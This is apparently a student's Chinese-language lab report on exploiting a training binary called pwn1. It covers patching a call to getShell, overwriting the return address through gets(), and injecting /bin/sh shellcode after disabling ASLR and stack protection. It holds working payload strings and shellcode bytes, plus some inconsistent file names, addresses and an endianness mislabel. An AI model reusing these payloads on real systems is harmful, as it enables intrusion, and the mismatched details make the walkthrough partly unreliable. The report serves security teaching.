一、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
二、实验内容
Ⅰ、先把从学习通下载的pwn1文件放进虚拟机中,然后进行更名
切换到桌面目录下,输入命令objdump -d pwn20232807 | more对该文件进行反汇编
敲击回车键,查看更多内容,找到main函数
在80484b5地址中指令call 8048491 ,表明这条语句调用fool函数,要求将其改变为调用getShell函数。
首先要分析语句8048b5:e8 d7 ff ff ff,其中8048b5表示指令的地址,e8表示跳转,e8 d7 ff ff ff 表示下一条指令的地址与目标地址的相对距离(采用大端模式)值为-41,下一条指令地址为8048ba,计算公式为80484ba - 41 = 8048491,而8048491地址正是fool函数的初始地址。
要改为调用getshell函数,而此函数的地址为804847d,因此计算804847d - 80484ba = - 61 = 0xffffffc3,采用大端模式,因此为c3 ff ff ff
综上所述该条指令应修改为80484b5: e8 c3 ff ff ff,便可以完成所要求的跳转至getshell函数
- 输入命令sudo apt install xxd安装xxd
- 输入命令vim pwn20232807打开文件,发现都是乱码
输入:%!xxd,将文件转换成十六进制进行显示
输入/f0e8 d7回车,将此处的d7改为c3
然后输入:%!xxd -r改回原格式,最后输入:wq保存并退出
然后在输入objdump -d pwn20232807 | more查看反汇编代码
可以发现在80484b5处指令已改为了调用getshell函数,已改为了call 804847d < getshell >
证明已经修改成功。- 输入./pwn20232807运行文件
Ⅱ、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
把原来的pwn20232807文件改为pwn20232807-old,再重新将一个新的pwn文件放在虚拟机中。
输入objdump -d pwn20232807 | more查看反汇编代码
发现foo函数有gets和puts函数,分配了0x38个字节大小的空间,如果字符数量超过了分配空间的大小就会发生缓冲区溢出,给输入分配了28字节(0x1c)空间,要构造一个攻击输入字符串,将返回的地址覆盖到getshell地址,从而能够跳转至getshell函数。
getshell函数的首地址为0x0804847d,对应的指令应该是\x7d\x84\x04\x08作为输入
采用以下字符串作为输入并存入文件中
perl -e ‘print “wwwwwwwwwwjjjjjjjjjjllllllllllll\x7d\x84\x04\x08”’ > input20232807
输入命令xxd input20232807查看文件,确保字符串的最后4个字节为getShell函数的地址
然后输入(cat input20232807;cat) | ./pwn20232807将input20232807文件中的内容作为pwn文件的输入,进行BOF攻击
结果拒绝了访问,接下来打开pwn20232807文件的属性,勾选Allow this file to run as a program
再输入(cat ZhangZhe20232807;cat) | ./pwn20232807
Ⅲ、注入一个自己制作的shellcode并运行这段shellcode
http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb网站下载execstack,然后将其放入虚拟机中,输入sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb进行解压,
进入桌面文件夹,输入sudo execstack -s ./pwn20232807将文件的堆设置为可执行状态
输入命令sudo execstack -q ./pwn20232807检查是否设置成功
输入echo “0” > /proc/sys/kernel/randomize_va_space关闭地址随机化,这里需要进入root权限,否则会发生报错。
输入more /proc/sys/kernel/randomize_va_space检查是否关闭成功,输入0表示已关闭,输出1则为开启
构造攻击的方法有retaddr+nop+shellcode或nop+shellcode+retaddr,选择第一种,shellcode的内容是:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
接下来构造shellcode的输入,输入
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shell
输入(cat input_shellcode; cat) | ./pwn20232807将input_shell文件的内容作为pwn文件的输入
打开另一个终端,输入命令ps -ef | grep pwn20232807查看文件的进程以及进程号
可以看到文件pwn20232807的进程号是10058
输入sudo apt install gdb安装gdb
输入gdb pwn20232807进行调试,获得foo函数中retaddr的地址
使用attach 10058查看进程
输入disassemble foo对foo函数进行反汇编
可以发现ret的地址为0x080484ae
输入命令break *0x080484ae设置断点,然后输入c继续执行,在另一个终端按一下回车键
输入info r esp查看栈顶指针所在的位置,可知在0Xbab471c0处
再输入x/16x 0xbab471c0查看该位置存放的内容
其中,0x04030201即为返回地址的位置。因此,栈顶指针的地址 + 4即为shellcode的地址。
0xffffd39c + 4 = 0xffffd3a0
即将输入大代码改为perl -e ‘print “A” x 32;print “\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a”’ > input_shellcode
然后使用命令(cat input_shell; cat) | ./pwn20232807,再次运行
三、问题及解决方案
问题:在输入echo “0” > /proc/sys/kernel/randomize_va_space关闭地址随机化时,出现报错信息
解决方案:需要先进入root权限,否则就会出现报错信息
四、实践总结
这次实验主要完成了手工修改可执行文件,改变执行的程,直接跳转到getShell函数;利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数;注入一个自己制作的shellcode并运行这段shellcode。在实验过程中深刻理解了缓冲区溢出攻击的原理和危害以及制作shellcode时需要绕过许多保护机制。
在实验过程中还发现了很多不足,需要不断提高实践操作能力。